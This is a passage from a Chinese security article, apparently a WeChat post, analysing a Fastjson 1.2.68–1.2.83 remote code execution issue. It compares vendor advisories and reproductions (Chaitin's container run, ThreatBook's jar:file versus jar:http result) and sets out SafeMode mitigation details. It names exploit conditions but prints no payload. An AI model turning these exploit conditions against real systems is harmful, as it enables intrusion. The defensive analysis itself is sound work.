14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">到目前为止，作者仍未公开完整根因、Payload 结构、JDK 与 ClassLoader 矩阵，也没有给这次事件绑定正式 CVE。社区公开链与作者私有链是否完全相同，仍要等 write-up。</span></p><h2 style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 38px 0px 16px;padding: 0px 0px 0px 12px;border-left: 5px solid rgb(37, 99, 235);color: rgb(20, 33, 61);font-size: 23px;line-height: 1.35;font-weight: 750;" data-nest-level="2"><span leaf="" data-nest-level="3">厂商已经开始复现，但公开口径并不完全相同</span></h2><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">腾讯云已经发布正式风险通告，影响范围写为 1.2.68—1.2.83，并将“未启用 SafeMode”列为受影响前提。修复方向仍是迁移 Fastjson2，或在 1.x 中启用 SafeMode。</span></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;margin: 20px 0px 6px;" data-nest-level="2" nodeleaf=""><img data-aistatus="1" alt="腾讯云 Fastjson 风险通告" class="rich_pages wxw-img" data-ratio="0.9574074074074074" data-type="png" data-w="1080" style="display: block;width: 688px;height: auto;margin: 20px auto 8px;border-radius: 12px;border: 1px solid rgb(219, 228, 238);box-shadow: rgba(15, 23, 42, 0.08) 0px 8px 26px;" data-imgfileid="100000828" src="https://wechat2rss.xlab.app/img-proxy/?k=491501bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F8qOq10zFicMCagdkTW0pKhOCXDpp1JB5Q2KfreM8foj8jezibeoFiaDNp5hlcfjpgtibfJZ1BVISGgRdicSR7dPE3JESW93zms2NZDLFDIiaOnW2E%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;letter-spacing: 0.02em;margin: 6px 4px 24px;color: rgb(100, 116, 139);font-size: 13px;line-height: 1.65;text-align: center;" data-nest-level="2"><em style="font-style: normal;color: rgb(100, 116, 139);" data-nest-level="3"><span leaf="" data-nest-level="4">图：腾讯云通告中的影响版本、SafeMode 前提与处置建议。来源：腾讯云公告。</span></em></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">这份通告说明厂商已经按高风险事件推动处置，但没有公开 JDK、ClassLoader、资源协议和网络前提。它属于风险通告，不是完整技术报告。</span></p><h3 style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 30px 0px 13px;padding: 9px 12px;border-radius: 8px;background: rgb(241, 245, 249);color: rgb(30, 58, 95);font-size: 19px;line-height: 1.45;font-weight: 750;" data-nest-level="2"><span leaf="" data-nest-level="3">长亭截图确认了什么</span></h3><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">长亭新增的复现截图比单纯通告多了一层证据。画面中可以直接看到：</span></p><ul style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 12px 0px 18px;padding-left: 1.35em;color: rgb(51, 65, 85);" class="list-paddingleft-1"><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">通过 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="5"><span leaf="" data-nest-level="6">reproduce.sh</span></code><span leaf="" data-nest-level="5">组织整个复现流程；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">使用 JDK 8，画面显示的版本为 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="5"><span leaf="" data-nest-level="6">1.8.0_451</span></code><span leaf="" data-nest-level="5">；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">先构建“受害 jar”，再构建并启动受害容器；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">随后编译攻击端 Exp，发送 payload；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">最终在受害容器内执行了命令，输出 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="5"><span leaf="" data-nest-level="6">uid=0(root)</span></code><span leaf="" data-nest-level="5">和 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="5"><span leaf="" data-nest-level="6">RCE-OK</span></code><span leaf="" data-nest-level="5">。</span></p></li></ul><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;margin: 20px 0px 6px;" data-nest-level="2" nodeleaf=""><img data-aistatus="1" alt="长亭 Fastjson RCE 受控容器复现" class="rich_pages wxw-img" data-ratio="1.0859835100117785" data-type="jpeg" data-w="849" style="display: block;width: 688px;height: auto;margin: 20px auto 8px;border-radius: 12px;border: 1px solid rgb(219, 228, 238);box-shadow: rgba(15, 23, 42, 0.08) 0px 8px 26px;" data-imgfileid="100000827" src="https://wechat2rss.xlab.app/img-proxy/?k=7c860860&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F8qOq10zFicMDvMNcibbvZD77MXH20BnkXopHkFiblC40rWviacXfDPHGWXibhsha5ic4yZv3E0WA2aicIpH6zsBYVPDab2tW5SVwdibIkBknianGfY5s%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;letter-spacing: 0.02em;margin: 6px 4px 24px;color: rgb(100, 116, 139);font-size: 13px;line-height: 1.65;text-align: center;" data-nest-level="2"><em style="font-style: normal;color: rgb(100, 116, 139);" data-nest-level="3"><span leaf="" data-nest-level="4">图：长亭复现流程截图。关键 Payload、构建内容和执行细节已经打码。截图由读者提供。</span></em></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">这里有一个容易被误读的地方：截图中的 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">uid=0(root)</span></code><span leaf="" data-nest-level="3">表示受害容器里的 Java 进程本来以 root 身份运行，命令继承了该进程权限。它证明容器内代码执行成立，但不代表利用过程额外完成了一次从普通用户到 root 的提权。</span></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">从流程上看，长亭大概率搭建了一个隔离的“受害应用 + 攻击端”环境：脚本先生成带 Fastjson 的受害 JAR，放入 JDK 8 容器启动；再编译攻击端程序或恶意类，向受害解析入口发送构造数据；最后进入容器核对命令输出。这个推测与截图中的五步流程吻合。</span></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">不过，截图没有露出以下关键信息：</span></p><ul style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 12px 0px 18px;padding-left: 1.35em;color: rgb(51, 65, 85);" class="list-paddingleft-1"><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">受害 JAR 是否为 Spring Boot 经典 FatJar；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">实际 ClassLoader 是否为 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="5"><span leaf="" data-nest-level="6">LaunchedURLClassLoader</span></code><span leaf="" data-nest-level="5">；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">使用的是本地 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="5"><span leaf="" data-nest-level="6">jar:file</span></code><span leaf="" data-nest-level="5">，还是远程 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="5"><span leaf="" data-nest-level="6">jar:http</span></code><span leaf="" data-nest-level="5">；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">是否存在攻击端 HTTP 服务及受害端出站请求；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">AutoType 和 SafeMode 的实际状态；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">利用链是否与 Firsov 私下披露的版本一致。</span></p></li></ul><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">所以，这张图最稳妥的解读是：</span><strong style="color: rgb(16, 42, 67);font-weight: 750;" data-nest-level="3"><span leaf="" data-nest-level="4">长亭在 JDK 8 受控容器中完成了 Fastjson 相关 RCE 复现；具体走的是哪条资源加载路径，公开截图尚未给出证据。</span></strong></p><h3 style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 30px 0px 13px;padding: 9px 12px;border-radius: 8px;background: rgb(241, 245, 249);color: rgb(30, 58, 95);font-size: 19px;line-height: 1.45;font-weight: 750;" data-nest-level="2"><span leaf="" data-nest-level="3">长亭对 SafeMode 的表述怎么理解</span></h3><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">长亭的缓解建议写的是：在 1.2.68 及之后版本中开启 SafeMode，“完全禁用 AutoType 功能，从根本上杜绝此类风险”。</span></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;margin: 20px 0px 6px;" data-nest-level="2" nodeleaf=""><img data-aistatus="1" alt="长亭关于 SafeMode 的缓解建议" class="rich_pages wxw-img" data-ratio="0.40074441687344914" data-type="png" data-w="806" style="display: block;width: 688px;height: auto;margin: 20px auto 8px;border-radius: 12px;border: 1px solid rgb(219, 228, 238);box-shadow: rgba(15, 23, 42, 0.08) 0px 8px 26px;" data-imgfileid="100000824" src="https://wechat2rss.xlab.app/img-proxy/?k=d4ed931b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F8qOq10zFicMA7WO93xiaOqDpvkQ3UecEpMpaPhjI8uwq21x7YibmahhJ00JCA6pKR5dPx3ZoUxrDYj1ADH9jT1vWiaBmth8W5h7gF2wfpnicNvN8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;letter-spacing: 0.02em;margin: 6px 4px 24px;color: rgb(100, 116, 139);font-size: 13px;line-height: 1.65;text-align: center;" data-nest-level="2"><em style="font-style: normal;color: rgb(100, 116, 139);" data-nest-level="3"><span leaf="" data-nest-level="4">图：长亭材料中的 SafeMode 建议。截图由读者提供。</span></em></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">“SafeMode 打开后完全禁用 autoType”与 Fastjson 官方 Wiki 的字面表述一致，但它和普通的 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">autoTypeSupport=false</span></code><span leaf="" data-nest-level="3">不是一回事。社区公开链和本地对照都显示，AutoType 默认关闭时，JsonType 资源探测路径仍可能被触达；SafeMode 则会在当前公开解析链上更早抛出异常。</span></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">同时，Fastjson 1.2.83 源码中，已注册的 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">AutoTypeCheckHandler</span></code><span leaf="" data-nest-level="3">位于 SafeMode 判断之前；官方 Wiki 也保留了 SafeMode 场景下通过 Handler 接管 AutoType 的扩展方式。更严谨的落地方式是：</span><strong style="color: rgb(16, 42, 67);font-weight: 750;" data-nest-level="3"><span leaf="" data-nest-level="4">启用 SafeMode，并检查项目是否注册过自定义 AutoTypeCheckHandler，再用生产实际 ParserConfig 做验证。</span></strong></p><h3 style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 30px 0px 13px;padding: 9px 12px;border-radius: 8px;background: rgb(241, 245, 249);color: rgb(30, 58, 95);font-size: 19px;line-height: 1.45;font-weight: 750;" data-nest-level="2"><span leaf="" data-nest-level="3">微步复现的是另一种资源条件</span></h3><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">微步公开截图写得比较谨慎：当时使用 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">jar:file</span></code><span leaf="" data-nest-level="3">PoC 完成复现；网传 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">jar:http</span></code><span leaf="" data-nest-level="3">远程加载暂未复现成功，仍在继续研究。</span></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;margin: 20px 0px 6px;" data-nest-level="2" nodeleaf=""><img data-aistatus="1" alt="微步关于 jar file 与 jar http 的复现说明" class="rich_pages wxw-img" data-ratio="0.6138364779874214" data-type="png" data-w="795" style="display: block;width: 688px;height: auto;margin: 20px auto 8px;border-radius: 12px;border: 1px solid rgb(219, 228, 238);box-shadow: rgba(15, 23, 42, 0.08) 0px 8px 26px;" data-imgfileid="100000829" src="https://wechat2rss.xlab.app/img-proxy/?k=384e475c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F8qOq10zFicMD2hZcNyMsJdAMJbrVia4KSUJZjxQyQBksicgQMicYCbnDx9cTsf2ZbBsoXSy2ZoWTkf0IPPiczEBTVgZYdYiayia50NHVOWS9ps9HpU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;letter-spacing: 0.02em;margin: 6px 4px 24px;color: rgb(100, 116, 139);font-size: 13px;line-height: 1.65;text-align: center;" data-nest-level="2"><em style="font-style: normal;color: rgb(100, 116, 139);" data-nest-level="3"><span leaf="" data-nest-level="4">图：微步区分了本地 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="4"><span leaf="" data-nest-level="5">jar:file</span></code><span leaf="" data-nest-level="4">和远程 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="4"><span leaf="" data-nest-level="5">jar:http</span></code><span leaf="" data-nest-level="4">的复现状态。截图由读者提供。</span></em></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">这与长亭截图并不冲突。长亭证明特定环境存在代码执行，微步公开了自己当时打通的 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">jar:file</span></code><span leaf="" data-nest-level="3">路径；两家公开材料都没有把远程 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">jar:http</span></code><span leaf="" data-nest-level="3">的完整环境矩阵展开。</span></p><h2 style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft 